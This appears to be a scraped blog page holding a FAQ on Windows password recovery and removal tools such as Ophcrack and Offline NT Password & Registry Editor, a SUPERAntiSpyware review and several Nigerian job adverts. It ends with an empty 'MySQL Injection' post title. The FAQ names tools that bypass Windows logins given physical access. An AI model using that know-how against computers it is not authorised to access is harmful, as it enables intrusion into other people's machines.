style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">A true Windows password recovery tool, like the free and very popular Ophcrack password recovery program, is only successful up to a point. Very complicated and very long Windows passwords are nearly impossible to "crack" and would take a modern computer a very long time to discover.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Some Windows password recovery tools don't actually recover passwords - they remove them, allowing unrestricted access to the computer until a new password is created. These types of programs, like the free Offline NT Password & Registry Editor and PC Login Now, don't care how complicated or how long a Windows password is since there's no discovery process involved.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">"These Windows password recovery tools are just hacker programs. You shouldn't be condoning hacking."</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">I disagree and I am not.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Each of the Windows password recovery tools I've highlighted or reviewed serve the very practical and ethical purpose of getting a forgetful person out of a serious problem.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">With nearly all technology, from a sharpened stone to nuclear power, there are ethical uses and there are unethical uses. In my opinion, the responsibility lies with the user (that's you). That said, I of course do not condone using any of these programs to gain access to a computer that you do not own.</span></span><br /><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;"> </span><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">"How can I prevent someone from using one of these programs to gain access to my computer?"</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">The most important thing you can do is to prevent physical access to your PC from those who might want to inappropriately gain access to its contents.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">In other words - keep those you don't trust away from your computer. Since none of these programs can be used remotely, a perpetrator must have physical access to your computer.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Keep in mind too that if someone wanted to covertly access your computer, they would have to use a true password discovery program, not a password removing program. Since true password discovery programs have a difficult time recovering long and complicated passwords, make sure yours is just that.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Specifically, to avoid your password being discovered by Ophcrack, make sure your password contains at least one special character or is longer than 14 characters.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">"I burned a CD with the [abc] Windows password recovery program on it but nothing happens when I restart! Help me please!"</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Many Windows password recovery programs are designed to be run from bootable discs, allowing you to recover or delete a Windows password without needing access to Windows... an obvious advantage. However, many of you don't have experience burning ISO files or booting from a CD or DVD disc.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">If you restart your computer with the disc you made in your CD/DVD drive but nothing happens or Windows starts up like it usually does, you likely made one of these mistake somewhere between downloading and booting to the CD.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Here are some thoughts on how you might be able to solve the problem:</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">    * Download the ISO or other disc image format again.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">    * Burn the image file to CD or DVD again. Burning an image file is nothing like burning a normal file.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">    * Try a different blank disc. Maybe the one you burned to was incompatible with your optical drive or was scratched.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">    * Verify that the boot order in BIOS correctly lists the optical drive first.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">    * Make sure the disc you burned is in the drive before restarting your computer.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">    * If you have two CD/DVD drives, try booting with the disc in the other one.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">If that advice gets you nowhere, just move on to another program. There are a few really good free Windows password recovery tools and many premium programs as well.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">"Help! Your [abc] program starts but then it [gives an error / shows something you didn't talk about / does nothing]!"</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">For some reason, to some people, I've given the false impression that some of the programs I've reviewed were created by me.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">If you need technical support with any Windows password recovery tool you've learned about on my site, you'll need to contact the developer or company for help. That contact information should be available on the same website where you downloaded the program.</span></span>

Thing You Must Know About Windows Password Recovery Programs

Forgetting the password to your Windows account is a common issue and "hacking" into your own PC isn't something many people o...

Read more »

SUPERAntiSpyware Professional Review

<b>SUPERAntiSpyware</b> is available as a free and professional edition. Both editions are downloadable directly  from the developer website. Lets take a quick look at the differences between SUPERAntiSpyware Professional and SUPERAntiSpyware Free.<br /><br />Both editions support the detection and removal of all sorts of malicious programs including malware, trojans, worms or keyloggers. Users can add files and folders to a whitelist so that they will not be processed during scans.<br /><br />SUPERAntiSpyware Professional on top of this offers the following features that are not available, or limited, in the free edition:<br /><ul><li>Ability to repair HiJacked web browsers and system settings, e.g. resetting the home page, enabling the task manager, broken network connections or desktop policies.</li><li>A feature called First Chance Prevention which analyzes 50 critical points on system start and shut down to eliminate threats before they have a chance to infect the system.</li><li>Threat realtime blocking by monitoring the Windows PC and processes.</li><li>Registry protection against web browser hi-jackers and other threats.</li><li>Auto-scanning on application startup.</li><li>Automatic update checks and definition updates every 8 hours.</li><li>Daily definition updates.</li><li>System diagnostic to locate new threats on the PC.</li></ul><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUaiCZcpN_IilYTzn7DissI38zeLM53rnpWWTqMxq_YDDCtH3W4fgBGto5Rdr-UL9qBhhiC-7-_CAH2CLJWEcSIU7BDfrLWp-M8iCDhbmE1BLFRKaUatQy8e45sZKm2oByw_a-1uBeHE0/s1600/superantispyware-professional-550x439.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SUPER AntiSpyware" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUaiCZcpN_IilYTzn7DissI38zeLM53rnpWWTqMxq_YDDCtH3W4fgBGto5Rdr-UL9qBhhiC-7-_CAH2CLJWEcSIU7BDfrLWp-M8iCDhbmE1BLFRKaUatQy8e45sZKm2oByw_a-1uBeHE0/s1600/superantispyware-professional-550x439.jpg" /></a></div><br /><span style="font-size: large;"><b>SUPERAntiSpyware Professional Review</b></span><br /><br />The security software displays a clean interface on startup. Users can press on buttons to perform manual operations. This includes scanning the system for harmful software, configuring scheduled scans, managing the quarantine, editing the program preferences and checking for updates. Update and license information are displayed there as well.<br /><br />A click on Scan your computer opens the scan menu with options to scan the whole computer system or just a specific drive for malicious programs. SUPERAntiSpyware Professional users can perform a quick scan of the Windows PC, perform a complete scan or custom scan.<br /><br />The quick scan scans all running programs and processes, critical Registry locations and the most common places on the connected hard drives for harmful software. The complete scan adds the selected drives to the scan list. Custom scan finally can be used to scan specific areas of the operating system (like the Registry or memory) and selected folders.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX_lLs5dpARZkvib42GFqw4BeZEWd25g-zzaJLQJCITZIcxSmSl5C0JVQ3COoYBg790sjR1_wA_LHz_CIB72jZ5spB07vOyBFD1ncbhnqEa2kHWcajkSaPWvbmu0efcUBt5mo8gh1QsZs/s1600/superantispyware-scan-550x439.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SUPER AntiSpyware" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX_lLs5dpARZkvib42GFqw4BeZEWd25g-zzaJLQJCITZIcxSmSl5C0JVQ3COoYBg790sjR1_wA_LHz_CIB72jZ5spB07vOyBFD1ncbhnqEa2kHWcajkSaPWvbmu0efcUBt5mo8gh1QsZs/s1600/superantispyware-scan-550x439.jpg" /></a></div><br />A system scan takes a while, depending on the speed of the PC and the selections that have been made. The quick scan took a few minutes to complete and results are displayed in detail on the results page. Each possible file and location found are categorized in groups and listed with their local path on the PC. It is possible to unselected items from being cleared, add items or locations to the list of trusted items, report false positives, manage the trusted items list or explain one of the detected items.<br /><br />Especially the explain detected item can be helpful considering that it is not always clear why a file is being marked as being malicious. This loads a page on the SUPERAntiSpyware page with additional details about the selected item. It still may take more research to find out about a specific item. It is for instance a good idea to upload files to Virustotal for a second opinion.<br /><br />All selected items will be removed by SUPERAntiSpyware Professional, and it may take a reboot of the system to clean them completely from the system. If it does a reboot is suggested by the security software to complete the process.<br /><br />Scans can also be scheduled in specific intervals, for instance daily at a specific time or once a week.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH1quu1mwBZOlYIEn4l7_pEWK4c5DnspsJ4vb4Zd1tji4yoBewZt6nAbRkzhnGBpbPyp8-BmC1Jx5Az08jEY6Vsm1YPIBGCcAvIs7Rx6YeYn1gcWOBG5YwRUAGi6f1v5DCrxDZ0YWl95U/s1600/schedule-system-scans.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SUPER AntiSpyware" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH1quu1mwBZOlYIEn4l7_pEWK4c5DnspsJ4vb4Zd1tji4yoBewZt6nAbRkzhnGBpbPyp8-BmC1Jx5Az08jEY6Vsm1YPIBGCcAvIs7Rx6YeYn1gcWOBG5YwRUAGi6f1v5DCrxDZ0YWl95U/s1600/schedule-system-scans.jpg" /></a></div><br /><br />All removed items are added to the program’s quarantine from where they can be restored or completely removed.<br /><br />The control center offers extensive configuration options. Users should especially pay a visit to scanning control which displays scanning related settings. It is for instance possible to include non-executable files in the scan, files that are larger than 4 Megabytes or to terminate memory threats before quarantining them.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3KuzMmtSRYZIEynxmNtyYMXX-FrL8xB1e_pVuRZCrr115K72jGwYBC1AwHdMIMTA9Dnyte5iskNmclhyphenhyphenJuCcsRY8o43teeMMyoJuEBz9YJNmPyvgwXypEy06_QvUK3-wXjC5NEanuIQM/s1600/superantispyware-control-center-550x419.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SUPER AntiSpyware" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3KuzMmtSRYZIEynxmNtyYMXX-FrL8xB1e_pVuRZCrr115K72jGwYBC1AwHdMIMTA9Dnyte5iskNmclhyphenhyphenJuCcsRY8o43teeMMyoJuEBz9YJNmPyvgwXypEy06_QvUK3-wXjC5NEanuIQM/s1600/superantispyware-control-center-550x419.jpg" /></a></div><br />Other control center options include the previously mentioned repair options, real-time protection settings and access to scanner logs.<br /><br />The program is very light on resources while running in the background. It used just a little over 1 Megabyte of system memory. Memory usage can peak at a few hundred Megabytes however during scans, but that is only temporary.<br /><br /><span style="font-size: large;"><b>SUPERAntiSpyware Professional Installation</b></span><br /><br />Users can enter the registration code during installation. Privacy conscious users need to pay attention to the installation dialog as system information may be submitted to developer servers to optimize the software. Disabling the option during installation prevents this from happening. The security program is compatible with 32-bit and 64-bit editions of all Windows operating systems from Windows 2000 on.<br /><br />400Mhz or Faster Processor with at least 256MB RAM

SUPERAntiSpyware Professional Review

SUPERAntiSpyware is available as a free and professional edition. Both editions are downloadable directly  from the developer website. Lets...

Read more »

Naija Jobs:::Aptech Nigeria – Trainer/Faculty (Akwa Ibom)

<div class="entry" style="font-family: "Trebuchet MS",sans-serif;"> <span style="font-size: small;"><strong>APTECH Computer Education</strong>, a world renowned ICT training institution has opened satellite training centres at Esit Eket and ONNA Local Government Areas in Akwa Ibom State to train specific persons for a period of 6 months.</span><br /><span style="font-size: small;">Applicants are invited for the position of Trainer /Faculty (6 months Contract)</span><br /><br /><span style="font-size: small;"><strong>Minimum Qualification:</strong></span><br /><span style="font-size: small;">A good first degree (B.Sc or HND) in Computer Science or related discipline from a recognized tertiary institution.</span><br /><br /><span style="font-size: small;"><strong>Age Limit: </strong></span><br /><span style="font-size: small;">Not above 35 years</span><br /><br /><span style="font-size: small;"><strong>Additional Skill: </strong></span><br /><span style="font-size: small;">A+, Microsoft Suite (Word, Excel, PowerPoint, MS Access, MS Outlook), Use of Internet and Computer Maintenance.</span><br /><ul><li><span style="font-size: small;">Applicants must be able to communicate effectively in English</span></li><li><span style="font-size: small;"> Successful applicants must be ready to start work in a few days’ time</span></li><li><span style="font-size: small;"> Serving or intending National Youth Service Corps members should not apply</span></li></ul><span style="font-size: small;">All applications with detailed CVs should be sent to <a href="mailto:em%79%6e%6buw%65m%40y%61h%6f%6f%2eco%6d">pikodu@yahoo.com</a> within 7 days of this advert.</span><br /><br /><span style="font-size: small;"><strong>NOTE: </strong></span><br /><br /><span style="font-size: small;">Successful candidates will be posted to live and work at ONNA and Esit Eket Local Government Area, Akwa Ibom State, Nigeria.</span><br /></div>

Naija Jobs:::Aptech Nigeria – Trainer/Faculty (Akwa Ibom)

APTECH Computer Education , a world renowned ICT training institution has opened satellite training centres at Esit Eket and ONNA Local...

Read more »

Naija Jobs:::NBC Plc: Trainee Technicians (Nigeria)

<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8dWoAj5fjJC6W1_eIUtq9n-aikCOSdojat9xGV7cbpYesPMjcZwESSgeJfs0L8HN2X40BDIvV9eHyyj4V49B3L0yZ6O8uvTtzfT26u_q4msar-fEjSytJJJKiKSRfTtqeQb6AzQdq4Ko/s320/280.gif" width="320" /></div><br /><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>NBC Plc</b> is a part of the Coca-Cola Hellenic Bottling company (CCHBC). NBC Plc is recruiting for <b>Trainee Technicians</b><br /><br />Position:     TRAINEE TECHNICIANS<br />Location:     Head Office<br />Education:     You must possess a federal craft certificate, WAEC technical certificate or National Technical certificate from NABTEB with credit passes in the core subjects ; English Mathematics, Physics, Electrical<br />Career type:     Basic experience in the industry will be an added advantage<br /><br /><b>Role:  </b>   Specialized program designed for young technical college school leavers, who are bright, talented with unique skills required to provide outstanding maintenance services required for our automated bottling operations facilities<br /><br /><b>Functional area: </b>    Technical operators with the company on successful completion of the training program.<br /><br /><b>Desired Candidate Profile</b><br /><br />You should not be more than 25 years old<br /><br /><b>Job description</b></span></div><ul style="font-family: "Trebuchet MS",sans-serif;"><li><span style="font-size: small;">Specialized program designed for young technical college school leavers, who are bright, talented with unique skills required to provide outstanding maintenance services required for our  automated bottling operations facilities</span></li><li><span style="font-size: small;">The training program leads to the award of internal certificate, while trainees are prepared for city and guilds (London) external examination.</span></li><li><span style="font-size: small;"> </span><span style="font-size: small;">Successful candidates will undergo a two year program that covers both theoretical and practical aspects of basic production operations, machine shop operation and fittings, industrial, electrical/electronics maintenance, automation and welding / Fabrication.</span></li><li><span style="font-size: small;">A cost of living allowance is paid during the duration of the program and trainees may be offered permanent employment as technical operators with the company on successful completion of the training program.</span></li></ul><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"> <b>How to Apply</b></span><br /><span style="font-size: small;"><b> </b><br /></span><a href="http://www.nbcplccareers.com/jobInfo.php?jobid=8" target="_blank">Click here to apply online</a></div>

Naija Jobs:::NBC Plc: Trainee Technicians (Nigeria)

NBC Plc is a part of the Coca-Cola Hellenic Bottling company (CCHBC). NBC Plc is recruiting for Trainee Technicians Position:     TRAINEE T...

Read more »

Naija Jobs:::Adexen: Electrical Maintenance Engineer

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvuwjy_a5vHQC4FhASwTr4k5K3F_9A-IAqyK-8Wq_dbWoEJXQfhoFNLLf3PsLmVdetyCdqG_Zo6PpPeM70-BjQBUO3ewaqw2Z2kvjfMMeCX-yydN9z6yD-HL9nEbkR-J66VCAF59JmI18/s1600/adexen.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvuwjy_a5vHQC4FhASwTr4k5K3F_9A-IAqyK-8Wq_dbWoEJXQfhoFNLLf3PsLmVdetyCdqG_Zo6PpPeM70-BjQBUO3ewaqw2Z2kvjfMMeCX-yydN9z6yD-HL9nEbkR-J66VCAF59JmI18/s1600/adexen.png" /></a></div><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Adexen is mandated by a leading international Engineering group, which provides integrating solutions & technological services for oil & gas companies. The Group is looking to employ an Electrical Maintenance Engineer.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Electrical Maintenance Engineer</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">JOB DESCRIPTION</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">The ideal candidates will be responsible for the preparation of a global maintenance plan/manual and also participate in carrying out those plans, which encompasses: Running Plan, Lubrication Plan, On – Condition Monitoring Plan, Maintenance Task & Associated Schedules, Standard Maintenance Procedures, Specific Maintenance Procedures, Maintenance Documents & Sheets</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">RESPONSIBILITIES</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /></span><ul><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Participate in RCM studies for systems/ equipment identified as vital & critical following approved methods</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Implementation of planned preventive maintenance</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Participate in topo – functional breakdown preparation</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Recover relevant feedback data from company’s subsidiary in relation to previous projects</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Participate in optimization studies for systems & equipment not treated with the RCM method, using the method approved by the organization</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Provide support for spare parts associated with maintenance operations</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Participate in field assignments</span></span></li></ul><span style="font-size: small;"><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">QUALIFICATIONS AND EXPERIENCE</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /></span><ul><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">A B.Sc degree or (HND compulsorily with a Masters degree) in Electrical Engineering</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Similar experience in the maintenance field on oil & gas production installations</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Minimum of 5 years work experience in a similar role</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">A basic knowledge of oil & gas treatment, installation & in depth knowledge of equipment used in the treatment and installation</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Advance Excel skills</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Good organizational skills</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Ability to work without supervision</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Eloquent in the English language and knowledge of the French Language will be an advantage</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Stable and progressive career – no job hoppers.</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Must possess demonstrable and measurable success in a similar role</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Must possess all skills required in this profession</span></span></li></ul><span style="font-size: small;"><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">WHAT IS ON OFFER</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Attractive package</span><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Please send your English resume in Word format at: <a href="mailto:ADEXEN-122878@adexen.eu">ADEXEN-122878@adexen.eu</a></span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Or apply directly at:</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><a href="http://www.adexen.com/fr/offer_NGA0470_electrical-maintenance-engineer.html"><span style="font-family: "Trebuchet MS",sans-serif;">Click here to apply online</span></a></span>

Naija Jobs:::Adexen: Electrical Maintenance Engineer

Adexen is mandated by a leading international Engineering group, which provides integrating solutions & technological services for oil ...

Read more »

Naija Jobs:::KPMG Nigeria: Head of Facilities (Lagos)

<span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;"></span><span style="font-family: "Trebuchet MS",sans-serif;">KPMG operates as an international network of member firms offering Audit, Tax and Advisory services. We provide multidisciplinary professional services to both local and international organizations within the Nigerian business community.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">We are recruiting for Head of Facilities, who will be responsible for  delivering excellent and value-added services to our clients.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">The individual has supervisory & budgetary responsibility; he will be responsible to the Chief Information Officer for administering facilities maintenance in a positive and progressive way to ensure the Facilities budget are spent in the most efficient, effective and economic way.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">The role</span></b><span style="font-family: "Trebuchet MS",sans-serif;">The Head of Facilities Management (FM) will:</span></span><br /><ul><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Ensure the delivery of a cost-effective, client-focused Facilities Management service at day-to-day level for all Nigeria offices and at a Strategic level across the entire country.</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Manage & direct the facilities of all KPMG Nigeria buildings / departments / facilities.</span></span></li></ul><span style="font-size: small;"><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Job duties include:</span></span><br /><br /><ul><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Building maintenance</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Environmental / safety regulation compliance</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Grounds maintenance</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Custodial support</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Cafeteria support, organization of events</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Space assignments, etc.</span></span></li></ul><span style="font-size: small;"><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">Detailed duties and responsibilities</span></b></span><br /><ul><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Planning, directing, coordinating & budgeting for all NG offices including hiring personnel;</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Supervise procurement and maintenance & upgrades of furniture, utilities, computers, security systems & signage for the overall facilites.</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Establish and administer policies & procedures for events and coordinate activities & events with other departments and clients</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Ensure facilities will meet needs of multiple individual projects and coordinate with IT staff for technological needs.</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Supervise facility usage, operations, equipment maintenance, etc.;</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Prepare & maintain annual budget for building use and facility maintenance;</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Maintain usage records & invoice clients accordingly.</span></span></li></ul><span style="font-size: small;"><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">Skills required</span></b></span><br /><ul><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Excellent phone manners.</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Client service and relationship building skills.</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Excellent communication and interpersonal skills.</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Ability to function independently and as part of a team</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Ability to perform effectively under pressure</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Ability to identify problem areas and implement corrective action</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Time management skills</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Problem resolution skills</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Job ownership skills</span></span></li></ul><span style="font-size: small;"><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">Minimum Qualification</span></b></span><br /><ul><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Minimum of B.Sc. (2.2) or HND (Lower Credit)</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Minimum of 5 credits in one sitting at O’ levels, including Maths and English</span></span></li><li><span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">At least 8-10 years working experience</span></span></li></ul><span style="font-size: small;"><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">How to Apply:</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">If you fit the above description, send your CV to <a href="mailto:careers@ng.kpmg.com">careers@ng.kpmg.com</a> stating the job title as the subject of the email</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">Please note that deadline for all applications is 7th of December 2010</span></span>

Naija Jobs:::KPMG Nigeria: Head of Facilities (Lagos)

KPMG operates as an international network of member firms offering Audit, Tax and Advisory services. We provide multidisciplinary profession...

Read more »

MySQL Injection for absolute beginners (PART 4)

